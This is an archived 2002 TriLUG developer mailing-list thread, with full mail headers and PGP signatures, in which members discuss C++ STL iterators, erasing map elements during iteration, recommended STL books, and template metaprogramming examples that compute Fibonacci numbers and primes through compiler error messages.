Functions only require one. That's why you can get into trouble trying to pass a non-static method. (BTW, static methods are the same for each class, so they're implemented exactly like a regular function. That's why you can substitute a static method for a regular function.) =20 > I am truly amazed how the containers in STL have so rapidly changed that = way=20 > I approach design. I've OO-ing things in my product (www.signalnetware.= com)=20 > since last summer and I've had some handsome payoffs for the work. I can= =20 > sense their is more value to be had. I really got frustrated with the=20 > for_each algorithm, though. >=20 Well, I personally don't consider containers an example of OO. Instead, I consider them an example of generic programming, but hopefully the result is the same: better code and maintainance. Tanner --=20 Tanner Lovelace | lovelace@wayfarer.org | http://wtl.wayfarer.org/ --*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*-- GPG Fingerprint =3D A66C 8660 924F 5F8C 71DA BDD0 CE09 4F8E DE76 39D4 GPG Key can be found at http://wtl.wayfarer.org/lovelace.gpg.asc --*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*-- Those who are willing to sacrifice essential liberties for a little=20 order, will lose both and deserve neither. -- Benjamin Franklin=20 History teaches that grave threats to liberty often come in times of urgency, when constitutional rights seem too extravagant to=20 endure. -- Justice Thurgood Marshall, 1989=20 --=-AgSLD0tK93kUO12lB6Ly Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQA8aERDzglPjt52OdQRAsI3AJ9g4CWq9aDSUxa/pAZJbJeXXTcvvwCfT9qw qi3EUiDDOvN6gKf7bvP9vU0= =/sMH -----END PGP SIGNATURE----- --=-AgSLD0tK93kUO12lB6Ly-- From bhu5nji@yahoo.com Mon Feb 11 19:43:08 2002 Received: from tisch.mail.mindspring.net (tisch.mail.mindspring.net [207.69.200.157]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id TAA08625 for ; Mon, 11 Feb 2002 19:43:08 -0500 Received: from user-2ivf2tj.dsl.mindspring.com ([165.247.139.179] helo=there) by tisch.mail.mindspring.net with smtp (Exim 3.33 #1) id 16aR4M-0001vJ-00 for dev@trilug.org; Mon, 11 Feb 2002 19:45:14 -0500 Content-Type: text/plain; charset="iso-8859-1" From: "M. Mueller (bhu5nji)" To: dev@trilug.org Subject: Re: [Dev] STL for_each underwhelms me Date: Mon, 11 Feb 2002 19:42:35 -0500 X-Mailer: KMail [version 1.3.1] References: <1013464044.16205.51.camel@kendrick> In-Reply-To: <1013464044.16205.51.camel@kendrick> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: > > Hmm... It doesn't talk about function object? What a major > omission. I assume you already have an STL book, since you > mention the Musser (& Sanni) one, but I'll just plug my > personal favorite.. :-) I looked at a lot of STL books > (and granted, the 2nd edition of Musser et all wasn't > out when I did, but..) and the one I liked the best, > for writing style, information, understanding and examples > was, by far, Nicolai M Josuttis's *The C++ Standard Library, > A Tutorial and Reference*. That's where I got the example > I showed you. It talks a lot about function objects... I'm going to take another look at the Josutti book. i got the examples package from the web. I am finding the Musser book is probably better read front to back. I do not often read a book in that fashion. From brent@mutt.rcfile.org Mon Feb 11 20:34:11 2002 Received: from habanero.hesketh.net (habanero.hesketh.net [66.45.6.196]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id UAA08836 for ; Mon, 11 Feb 2002 20:34:11 -0500 Received: from mutt.rcfile.org (root@rdu57-26-120.nc.rr.com [66.57.26.120]) by habanero.hesketh.net (8.11.6/8.11.1) with ESMTP id g1C1aCJ03480 for ; Mon, 11 Feb 2002 20:36:12 -0500 X-Received-From: brent@mutt.rcfile.org X-Delivered-To: X-Spam-Filter: check_local@habanero.hesketh.net by digitalanswers.org X-More-Information: http://spamfighter.hesketh.net Received: (from brent@localhost) by mutt.rcfile.org (8.11.6/8.11.6) id g1C1aPM86831 for dev@trilug.org; Mon, 11 Feb 2002 20:36:25 -0500 (EST) (envelope-from brent) Date: Mon, 11 Feb 2002 20:36:24 -0500 From: Brent Verner To: dev@trilug.org Subject: Re: [Dev] STL for_each underwhelms me Message-ID: <20020212013624.GA86684@rcfile.org> References: <1013464044.16205.51.camel@kendrick> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.27i X-muttrc: $Id: .muttrc,v 1.9 2002/01/02 07:04:49 brent Exp $ X-uname: FreeBSD 4.5-STABLE #17: Sat Feb 9 15:01:43 EST 2002 brent@mutt.rcfile.org:/usr/obj/usr/src/sys/MUTT Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: [2002-02-11 19:42] M. Mueller (bhu5nji) said: | | I'm going to take another look at the Josutti book. i got the examples | package from the web. Beware that the Josuttis book contains some examples (especially WRT iostreams, IIRC) that will not work with g++-3 and libstdc++-v3 Also beware of examples in Stroustrup's book as well. AFAIK, the only (correct) publication regarding the newest c++ standard is that standard itself (ISO/IEC 14882:1998) | I am finding the Musser book is probably better read front to back. I do not | often read a book in that fashion. If you haven't yet got Austern's "Generic Programming and the STL", I highly recommend it for a wonderful look into the concepts behind the design of the STL. cheers. brent -- "Develop your talent, man, and leave the world something. Records are really gifts from people. To think that an artist would love you enough to share his music with anyone is a beautiful thing." -- Duane Allman From lovelace@wayfarer.org Mon Feb 11 22:13:15 2002 Received: from maddux.wayfarer.org (rdu25-14-014.nc.rr.com [24.25.14.14]) by fatalpha.trilug.org (8.9.3/8.9.3) with SMTP id WAA09279 for ; Mon, 11 Feb 2002 22:13:15 -0500 Received: (qmail 23999 invoked by uid 401); 12 Feb 2002 03:15:18 -0000 Received: from localhost (HELO kendrick.house.wayfarer.org) (lovelace@127.0.0.1) by localhost with SMTP; 12 Feb 2002 03:15:18 -0000 Subject: Re: [Dev] STL for_each underwhelms me From: Tanner Lovelace To: dev@trilug.org In-Reply-To: <20020212013624.GA86684@rcfile.org> References: <1013464044.16205.51.camel@kendrick> <20020212013624.GA86684@rcfile.org> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-R0+CIJuVusUYPPzs8Ghi" X-Mailer: Evolution/1.0.21mdk Date: 11 Feb 2002 22:14:22 -0500 Message-Id: <1013483663.19915.3.camel@kendrick> Mime-Version: 1.0 Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: --=-R0+CIJuVusUYPPzs8Ghi Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Mon, 2002-02-11 at 20:36, Brent Verner wrote: > [2002-02-11 19:42] M. Mueller (bhu5nji) said: > |=20 > | I'm going to take another look at the Josutti book. i got the examples= =20 > | package from the web. =20 >=20 > Beware that the Josuttis book contains some examples (especially > WRT iostreams, IIRC) that will not work with g++-3 and libstdc++-v3 >=20 Really? Can you tell me which ones? I'd be interested in knowing which ones and why. > Also beware of examples in Stroustrup's book as well. >=20 > AFAIK, the only (correct) publication regarding the newest c++ > standard is that standard itself (ISO/IEC 14882:1998) Well, that's not too surprising. Until hte standard was ratified, it was moving pretty fast. =20 > | I am finding the Musser book is probably better read front to back. I = do not=20 > | often read a book in that fashion. >=20 > If you haven't yet got Austern's "Generic Programming and the STL", > I highly recommend it for a wonderful look into the concepts behind > the design of the STL. >=20 I have the Austern book and Matt does know what he's talking about, but I find it very difficult to read. I'm much happier with the Josuttis book. Just my personal opinion. Tanner --=20 Tanner Lovelace | lovelace@wayfarer.org | http://wtl.wayfarer.org/ --*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*-- GPG Fingerprint =3D A66C 8660 924F 5F8C 71DA BDD0 CE09 4F8E DE76 39D4 GPG Key can be found at http://wtl.wayfarer.org/lovelace.gpg.asc --*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*-- Those who are willing to sacrifice essential liberties for a little=20 order, will lose both and deserve neither. -- Benjamin Franklin=20 History teaches that grave threats to liberty often come in times of urgency, when constitutional rights seem too extravagant to=20 endure. -- Justice Thurgood Marshall, 1989=20 --=-R0+CIJuVusUYPPzs8Ghi Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQA8aIiOzglPjt52OdQRAtXKAJ4hkZV31B18bfd7AnkWQbVYC4HjUgCdE9yT Mtv53EPNfy/T4oYzq66mFxA= =D5Hu -----END PGP SIGNATURE----- --=-R0+CIJuVusUYPPzs8Ghi-- From bhu5nji@yahoo.com Tue Feb 12 06:21:53 2002 Received: from blount.mail.mindspring.net (blount.mail.mindspring.net [207.69.200.226]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id GAA11804 for ; Tue, 12 Feb 2002 06:21:52 -0500 Received: from user-2ivf2tj.dsl.mindspring.com ([165.247.139.179] helo=there) by blount.mail.mindspring.net with smtp (Exim 3.33 #1) id 16ab2U-00055U-00 for dev@trilug.org; Tue, 12 Feb 2002 06:23:58 -0500 Content-Type: text/plain; charset="iso-8859-15" From: "M. Mueller (bhu5nji)" To: dev@trilug.org Date: Tue, 12 Feb 2002 06:21:18 -0500 X-Mailer: KMail [version 1.3.1] MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Subject: [Dev] Pruning elements from sorted associative sequence containers (set, multiset, map, multimap) Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: By trial and error and head banging I learned that pruning elements from sequence containers needs extra care. My application (as before) is to keep transaction state information in a map where the key is the transaction ID and the entry is a struct with transaction related information, including a field called xState (transaction state). It belongs to a system that is a single process daemon that manages multiple concurrent transactions from many clients. It has three independent stages: transaction origination, transaction operation, transaction completion. The transaction map is filled by origination and emptied by completion. To operations, the map is a todo list. The rate of growth, both positive and negative, in origination and completion are independent from a design perspective. I can have 1 origination and 2 completions in a single main loop iteration. In the completion stage the map is examined, element-by-element, looking for xState == XS_COMPLETE. When such an element is found, the element is removed, or pruned, from the map. This is where the learning occurred. What I learned was tested on a map but I suspect the lesson applies to all of the sorted associative sequence containers (set, multiset, map, multimap). Flawed code { map::iterator i; for (i = xMap.begin(); i != xMap.end(); i++) // endless loop { if (i->second.xState == XS_COMPLETE) { // completion duties xMap.erase(i); // disturbs loop guard } } } Code that appears to work: { map::iterator i; TOP: for (i = xMap.begin(); i != xMap.end(); i++) { if (i->second.xState == XS_COMPLETE) { // completion duties xMap.erase(i); // disturbs loop guard goto TOP: // start search over again } } } I am not concerned about the "goto". I could work around not using it. It provides a concise way to demonstrate what I learned. What I learned is that a container size must remain constant when an iterator is being used in a loop guard condition. If this rule cannot be followed, then the loop must be forcefully aborted. This is a practical rule only. The Musser 2nd Ed. book has no example AFAIK showing the potential flaw and a work around. The only hint is in Section 21.1.5 Sorted Associative Container Requirements on page 326 where it states, "Finally, an *iterator* of a sorted associative container is bidirectional. The *insert* operations do not affect the validity of the iterators and references to the container, and *erase* operations invalidate only iterators and references to the erased elements." It appears that the reason that *erase* invalidates iterators is left as an exercise for the reader. This reader could use a little help, however. ---------------------- What seems to be missing from my library is a book filled with non-trivial examples from mixed applications - IT, communications, control, math, etc. I am going to make it a point to read every single Josutiss example. Then I'm going to the local bookeries to have another look at what's available. So far, STL has been a bit of a struggle. First I had the *for_each* questions then the *a.erase(i)* difficulties. I believe the struggle is worthwhile. Thanks for all the help. Mike M. From prhodes@vdsinc.com Tue Feb 12 11:09:13 2002 Received: from mailrtr2.mailzone.edeltacom.com (IDENT:mirapoint@mailrtr2.mailzone.edeltacom.com [207.230.65.80]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id LAA13365 for ; Tue, 12 Feb 2002 11:09:13 -0500 From: prhodes@vdsinc.com Received: from mail.vdsinc.com (66-0-79-114.deltacom.net [66.0.79.114]) by mailrtr2.mailzone.edeltacom.com (Mirapoint) with ESMTP id AFW58165; Tue, 12 Feb 2002 11:11:16 -0500 (EST) Subject: Re: [Dev] Pruning elements from sorted associative sequence containers (set, multiset, map, multimap) To: dev@trilug.org X-Mailer: Lotus Notes Release 5.0 (Intl) 30 March 1999 Message-ID: Date: Tue, 12 Feb 2002 11:16:40 -0500 X-MIMETrack: Serialize by Router on vdsdevnotes/vds/us(Release 5.0.2b (Intl)|16 December 1999) at 02/12/2002 11:16:45 AM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: > What seems to be missing from my library is a book filled > with non-trivial examples from mixed applications - IT, > communications, control, math, etc. I am going to make it > a point to read every single Josutiss example. Then I'm > going to the local bookeries to have another look at what's > available. Do you have "Effective STL" by Scott Meyers? If not, you might want to give that a look. It's one of the few STL books I'm aware of, other than the aforementioned Jousutts, Austern and Musser/Saini titles. Other than that, I've seen about two other STL titles on the shelves at the Barnes & Noble at New Hope Commons in Durham. TTYL, Phillip Rhodes Application Designer Voice Data Solutions 919-571-4300 x225 prhodes@vdsinc.com America is at war with Afghanistan. America has always been at war with Afghanistan. Russia is our ally. Russia has always been our ally. Read Orwell's 1984. Read a newspaper. Fear the future. The history of liberty is a history of resistance. The history of liberty is a history of limitations of governmental power, not the increase of it. - Woodrow Wilson Speech in New York, September 9, 1912 Those who are willing to sacrifice essential liberties for a little order, will lose both and deserve neither. - Benjamin Franklin From lovelace@wayfarer.org Tue Feb 12 16:09:30 2002 Received: from maddux.wayfarer.org (rdu25-14-014.nc.rr.com [24.25.14.14]) by fatalpha.trilug.org (8.9.3/8.9.3) with SMTP id QAA15046 for ; Tue, 12 Feb 2002 16:09:30 -0500 Received: (qmail 460 invoked by uid 401); 12 Feb 2002 21:11:37 -0000 Received: from localhost (HELO kendrick.house.wayfarer.org) (lovelace@127.0.0.1) by localhost with SMTP; 12 Feb 2002 21:11:37 -0000 Subject: Re: [Dev] Pruning elements from sorted associative sequence containers (set, multiset, map, multimap) From: Tanner Lovelace To: dev@trilug.org In-Reply-To: References: Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-CTI6Vz7+VF9ITpt9lr5+" X-Mailer: Evolution/1.0.21mdk Date: 12 Feb 2002 16:10:36 -0500 Message-Id: <1013548237.26079.9.camel@kendrick> Mime-Version: 1.0 Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: --=-CTI6Vz7+VF9ITpt9lr5+ Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Tue, 2002-02-12 at 06:21, M. Mueller (bhu5nji) wrote: > What I learned is that a container size must remain constant when an iter= ator=20 > is being used in a loop guard condition. If this rule cannot be followed= ,=20 > then the loop must be forcefully aborted. This is a practical rule only. Hmm... the Josuttis book says this about erase: "For vectors and deques, this operation might invalidate iterators and=20 reference to other elements." =20 Which seems to suggest that iterators of other containers shouldn't be invalidated. I wonder if the spec changed this at the last minute? Hmm... actually looking at the implementation gives some insight, though. Apparently, associative containers are implemented using red-black trees. RB trees, being balanced, will tend to shift quite a bit whenever something is inserted or deleted. That's the most likely reason why erase invalidates the iterators. =20 > The Musser 2nd Ed. book has no example AFAIK showing the potential flaw a= nd a=20 > work around. The only hint is in Section 21.1.5 Sorted Associative Conta= iner=20 > Requirements on page 326 where it states, >=20 > "Finally, an *iterator* of a sorted associative container is bidirectiona= l.=20 > The *insert* operations do not affect the validity of the iterators and=20 > references to the container, and *erase* operations invalidate only itera= tors=20 > and references to the erased elements." >=20 > It appears that the reason that *erase* invalidates iterators is left as = an=20 > exercise for the reader. This reader could use a little help, however. >=20 See above. For a non-associative container, however, it's a little bit different. Lists should have no problem. iterators should still work (try it out, if you're curious). For vectors, however, because the memory allocation is dynamic, if an insert or erase triggers an allocation/deallocation in memory, the container could be moved to a different location, and therefore have all it's iterators invalidated. Tanner --=20 Tanner Lovelace | lovelace@wayfarer.org | http://wtl.wayfarer.org/ --*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*-- GPG Fingerprint =3D A66C 8660 924F 5F8C 71DA BDD0 CE09 4F8E DE76 39D4 GPG Key can be found at http://wtl.wayfarer.org/lovelace.gpg.asc --*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*-- Those who are willing to sacrifice essential liberties for a little=20 order, will lose both and deserve neither. -- Benjamin Franklin=20 History teaches that grave threats to liberty often come in times of urgency, when constitutional rights seem too extravagant to=20 endure. -- Justice Thurgood Marshall, 1989=20 --=-CTI6Vz7+VF9ITpt9lr5+ Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQA8aYTMzglPjt52OdQRAjphAKDBSJ/9t01MfTcA6lh4nT2a6i+8WwCfbESO NVlzAQRdiZw37HpbplZ8KQQ= =mhDh -----END PGP SIGNATURE----- --=-CTI6Vz7+VF9ITpt9lr5+-- From lovelace@wayfarer.org Tue Feb 12 16:25:13 2002 Received: from maddux.wayfarer.org (rdu25-14-014.nc.rr.com [24.25.14.14]) by fatalpha.trilug.org (8.9.3/8.9.3) with SMTP id QAA15122 for ; Tue, 12 Feb 2002 16:25:13 -0500 Received: (qmail 672 invoked by uid 401); 12 Feb 2002 21:27:20 -0000 Received: from localhost (HELO kendrick.house.wayfarer.org) (lovelace@127.0.0.1) by localhost with SMTP; 12 Feb 2002 21:27:20 -0000 From: Tanner Lovelace To: dev@trilug.org Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-xeMzCdJ98C5OzK3eFki7" X-Mailer: Evolution/1.0.21mdk Date: 12 Feb 2002 16:26:20 -0500 Message-Id: <1013549181.26079.17.camel@kendrick> Mime-Version: 1.0 Subject: [Dev] Fun with templates Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: --=-xeMzCdJ98C5OzK3eFki7 Content-Type: text/plain Content-Transfer-Encoding: quoted-printable All these questions about the STL had me thinking about a class I took a few years ago about advanced templates and the STL. I thought I might share a few things with the list, if anyone is interested. First, did you know that apparently templates are turing complete! I.e. you can actually calculate things using templates. If you don't believe me, save the following program as fibonacci.cpp and run this command: g++ -c fibonacci.cpp 2>&1 | grep Output // -- Cut here --- template struct Output {}; // creates output template struct fibo { enum { val =3D fibo::val + fibo::val }; }; template<> struct fibo<1> { enum { val =3D 1}; }; template<> struct fibo<0> { enum { val =3D 0}; }; template struct Fibo_print { Fibo_print a; enum { val =3D fibo::val }; void f() { a.f(); Output d =3D val; } }; template<> struct Fibo_print<1> {=20 enum { val =3D fibo<1>::val }; void f() { Output<1,val> d =3D val; } }; void foo() { Fibo_print<17> a; a.f(); } // -- End program here -- What you should see is the following output: non-scalar type `Output<1, 1>' requested non-scalar type `Output<17, 1597>' requested non-scalar type `Output<16, 987>' requested non-scalar type `Output<15, 610>' requested non-scalar type `Output<14, 377>' requested non-scalar type `Output<13, 233>' requested non-scalar type `Output<12, 144>' requested non-scalar type `Output<11, 89>' requested non-scalar type `Output<10, 55>' requested non-scalar type `Output<9, 34>' requested non-scalar type `Output<8, 21>' requested non-scalar type `Output<7, 13>' requested non-scalar type `Output<6, 8>' requested non-scalar type `Output<5, 5>' requested non-scalar type `Output<4, 3>' requested non-scalar type `Output<3, 2>' requested non-scalar type `Output<2, 1>' requested Ignore the first line, and look at the second number inside the <> of the rest. What do we have? It's a fibonacci sequence. Where did it come from? The error messages!?! How did it come from the error messages? The templates calculated it. I'm kind of interested if anyone can tell us why. If no one can, I'll post why later, but I'd like to hear people's guesses first. You might also want to try the following program: // -- cut here -- template struct D {}; template struct D { D(int);}; template struct is_prime { enum { prim =3D ((p%i) && is_prime< (i>2 ? p : 0), i-1>::prim) }; }; template<> struct is_prime<0,1> { enum { prim =3D 1}; }; template<> struct is_prime<0,0> { enum { prim =3D 1}; }; template struct Prime_print { Prime_print a; enum { prim =3D is_prime::prim }; void f() { a.f(); D d =3D prim; } }; template<> struct Prime_print<2> {=20 enum { prim =3D 1}; void f() { D<2,prim> d =3D prim; } }; void foo() { Prime_print<17> a; a.f(); } // -- end program -- Try saving this one as prime.cpp and compiling it with the following command: g++ -c prime.cpp 2>&1 | grep requested Tanner --=20 Tanner Lovelace | lovelace@wayfarer.org | http://wtl.wayfarer.org/ --*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*-- GPG Fingerprint =3D A66C 8660 924F 5F8C 71DA BDD0 CE09 4F8E DE76 39D4 GPG Key can be found at http://wtl.wayfarer.org/lovelace.gpg.asc --*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*-- Those who are willing to sacrifice essential liberties for a little=20 order, will lose both and deserve neither. -- Benjamin Franklin=20 History teaches that grave threats to liberty often come in times of urgency, when constitutional rights seem too extravagant to=20 endure. -- Justice Thurgood Marshall, 1989=20 --=-xeMzCdJ98C5OzK3eFki7 Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQA8aYh8zglPjt52OdQRAuDmAJ44bsq9qncKECDaJ4drhevgYfE6+gCggCcE sCwBvheCRH9J+QaUFUiqIpQ= =hQP9 -----END PGP SIGNATURE----- --=-xeMzCdJ98C5OzK3eFki7-- From bhu5nji@yahoo.com Tue Feb 12 22:35:14 2002 Received: from blount.mail.mindspring.net (blount.mail.mindspring.net [207.69.200.226]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id WAA16604 for ; Tue, 12 Feb 2002 22:35:14 -0500 Received: from user-2ivf2tj.dsl.mindspring.com ([165.247.139.179] helo=there) by blount.mail.mindspring.net with smtp (Exim 3.33 #1) id 16aqER-000579-00 for dev@trilug.org; Tue, 12 Feb 2002 22:37:19 -0500 Content-Type: text/plain; charset="iso-8859-1" From: "M. Mueller (bhu5nji)" To: dev@trilug.org Subject: Re: [Dev] Fun with templates Date: Tue, 12 Feb 2002 22:34:36 -0500 X-Mailer: KMail [version 1.3.1] References: <1013549181.26079.17.camel@kendrick> In-Reply-To: <1013549181.26079.17.camel@kendrick> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Ow! It hurts my head. I can see the math in the enum. Is it easier to understand if you actually compile it? Mike M. On Tuesday 12 February 2002 04:26 pm, you wrote: > All these questions about the STL had me thinking about a class > I took a few years ago about advanced templates and the STL. > I thought I might share a few things with the list, if anyone > is interested. > > First, did you know that apparently templates are turing complete! > I.e. you can actually calculate things using templates. If you > don't believe me, save the following program as fibonacci.cpp > and run this command: > > g++ -c fibonacci.cpp 2>&1 | grep Output > > // -- Cut here --- > template struct Output {}; // creates output > > template struct fibo { > enum { val = fibo::val + fibo::val }; > }; > template<> struct fibo<1> { enum { val = 1}; }; > template<> struct fibo<0> { enum { val = 0}; }; > > template struct Fibo_print { > Fibo_print a; > enum { val = fibo::val }; > void f() { a.f(); Output d = val; } > }; > template<> struct Fibo_print<1> { > enum { val = fibo<1>::val }; > void f() { Output<1,val> d = val; } > }; > > void foo() { > Fibo_print<17> a; > a.f(); > } > // -- End program here -- > > What you should see is the following output: > > non-scalar type `Output<1, 1>' requested > non-scalar type `Output<17, 1597>' requested > non-scalar type `Output<16, 987>' requested > non-scalar type `Output<15, 610>' requested > non-scalar type `Output<14, 377>' requested > non-scalar type `Output<13, 233>' requested > non-scalar type `Output<12, 144>' requested > non-scalar type `Output<11, 89>' requested > non-scalar type `Output<10, 55>' requested > non-scalar type `Output<9, 34>' requested > non-scalar type `Output<8, 21>' requested > non-scalar type `Output<7, 13>' requested > non-scalar type `Output<6, 8>' requested > non-scalar type `Output<5, 5>' requested > non-scalar type `Output<4, 3>' requested > non-scalar type `Output<3, 2>' requested > non-scalar type `Output<2, 1>' requested > > Ignore the first line, and look at the second number > inside the <> of the rest. What do we have? > It's a fibonacci sequence. Where did it come from? > The error messages!?! How did it come from the > error messages? The templates calculated it. > > I'm kind of interested if anyone can tell us why. > If no one can, I'll post why later, but I'd like > to hear people's guesses first. > > You might also want to try the following program: > > // -- cut here -- > template struct D {}; > template struct D { D(int);}; > > template struct is_prime { > enum { prim = ((p%i) && is_prime< (i>2 ? p : 0), i-1>::prim) }; > }; > template<> struct is_prime<0,1> { enum { prim = 1}; }; > template<> struct is_prime<0,0> { enum { prim = 1}; }; > > template struct Prime_print { > Prime_print a; > enum { prim = is_prime::prim }; > void f() { a.f(); D d = prim; } > }; > template<> struct Prime_print<2> { > enum { prim = 1}; > void f() { D<2,prim> d = prim; } > }; > > void foo() { > Prime_print<17> a; > a.f(); > } > // -- end program -- > > Try saving this one as prime.cpp and compiling it with > the following command: > > g++ -c prime.cpp 2>&1 | grep requested > > Tanner From lovelace@wayfarer.org Tue Feb 12 23:43:07 2002 Received: from maddux.wayfarer.org (rdu25-14-014.nc.rr.com [24.25.14.14]) by fatalpha.trilug.org (8.9.3/8.9.3) with SMTP id XAA16869 for ; Tue, 12 Feb 2002 23:43:07 -0500 Received: (qmail 5673 invoked by uid 401); 13 Feb 2002 04:45:11 -0000 Received: from localhost (HELO kendrick.house.wayfarer.org) (lovelace@127.0.0.1) by localhost with SMTP; 13 Feb 2002 04:45:11 -0000 Subject: Re: [Dev] Fun with templates From: Tanner Lovelace To: dev@trilug.org In-Reply-To: References: <1013549181.26079.17.camel@kendrick> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-GmIEesMSROBaYAIM6CaZ" X-Mailer: Evolution/1.0.21mdk Date: 12 Feb 2002 23:44:09 -0500 Message-Id: <1013575449.26097.38.camel@kendrick> Mime-Version: 1.0 Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: --=-GmIEesMSROBaYAIM6CaZ Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Tue, 2002-02-12 at 22:34, M. Mueller (bhu5nji) wrote: > Ow! It hurts my head. I can see the math in the enum. Is it easier to=20 > understand if you actually compile it? >=20 Perhaps. :-) You never know unless you try. ;-) Tanner --=20 Tanner Lovelace | lovelace@wayfarer.org | http://wtl.wayfarer.org/ --*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*-- GPG Fingerprint =3D A66C 8660 924F 5F8C 71DA BDD0 CE09 4F8E DE76 39D4 GPG Key can be found at http://wtl.wayfarer.org/lovelace.gpg.asc --*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*-- Those who are willing to sacrifice essential liberties for a little=20 order, will lose both and deserve neither. -- Benjamin Franklin=20 History teaches that grave threats to liberty often come in times of urgency, when constitutional rights seem too extravagant to=20 endure. -- Justice Thurgood Marshall, 1989=20 --=-GmIEesMSROBaYAIM6CaZ Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQA8ae8ZzglPjt52OdQRAtD1AKCQ28qMkLKQ/fZVFE5g/ZvtzIlhogCgkI9O dHYLupoMvd/UcEWr4QyVDLo= =nH0s -----END PGP SIGNATURE----- --=-GmIEesMSROBaYAIM6CaZ-- From prhodes@vdsinc.com Wed Feb 13 07:38:17 2002 Received: from mailrtr2.mailzone.edeltacom.com (IDENT:mirapoint@mailrtr2.mailzone.edeltacom.com [207.230.65.80]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id HAA25038 for ; Wed, 13 Feb 2002 07:38:17 -0500 From: prhodes@vdsinc.com Received: from mail.vdsinc.com (66-0-79-114.deltacom.net [66.0.79.114]) by mailrtr2.mailzone.edeltacom.com (Mirapoint) with ESMTP id AFX37681; Wed, 13 